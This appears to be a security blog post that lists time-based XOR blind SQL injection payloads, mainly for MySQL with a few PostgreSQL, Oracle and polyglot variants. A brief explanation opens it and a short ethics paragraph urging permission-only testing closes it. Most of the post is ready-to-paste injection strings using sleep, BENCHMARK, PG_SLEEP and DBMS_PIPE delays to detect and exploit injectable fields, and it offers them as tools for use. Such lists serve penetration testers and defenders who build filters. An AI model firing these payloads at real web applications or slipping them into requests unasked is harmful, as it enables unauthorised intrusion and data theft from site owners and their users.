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Mastering XOR Blind SQL Injection: A Collection of Potent Payloads

SQL Injection remains one of the most critical web application vulnerabilities. Among its variants, XOR Blind SQL Injection is particularly tricky to detect and exploit. In this blog post, we'll explore a curated list of powerful XOR blind SQL injection payloads that have proven effective for many security researchers, including some of my personal favorites.

Understanding XOR Blind SQL Injection

XOR Blind SQL Injection leverages the XOR operation to bypass certain filters and inject malicious SQL code. The 'blind' aspect means that the attacker doesn't see the direct output of the query but infers information based on the application's behavior, often using time delays.

Top XOR Blind SQL Injection Payloads

Here's a collection of some of the most effective XOR blind SQL injection payloads:

  • 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X
  • 0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z
  • 'XOR(if((select now()=sysdate()),sleep(10),0))XOR'Z
  • X'XOR(if(now()=sysdate(),//sleep(5)//,0))XOR'X
  • X'XOR(if(now()=sysdate(),(sleep((((5))))),0))XOR'X
  • X'XOR(if((select now()=sysdate()),BENCHMARK(1000000,md5('xyz')),0))XOR'X
  • 'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z
  • (SELECT(0)FROM(SELECT(SLEEP(6)))a)
  • 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
  • 'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'

Advanced and Polyglot Payloads

For more complex scenarios, consider these advanced and polyglot payloads:

  • CASE//WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
  • ');(SELECT 4564 FROM PG_SLEEP(5))--
  • ["')//OR//MID(0x352e362e33332d6c6f67,1,1)//LIKE//5//%23"]
  • DBMS_PIPE.RECEIVE_MESSAGE(%5BINT%5D,5)%20AND%20%27bar%27=%27bar
  • if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/

Ethical Considerations and Responsible Use

While these payloads are powerful tools for security testing, it's crucial to emphasize the importance of ethical hacking and responsible disclosure. Only use these payloads on systems you have explicit permission to test.

Conclusion

XOR Blind SQL Injection payloads are valuable tools in a security researcher's arsenal. By understanding and responsibly using these payloads, you can better identify and report SQL injection vulnerabilities, contributing to a more secure web ecosystem. Remember, with great power comes great responsibility - always hack ethically!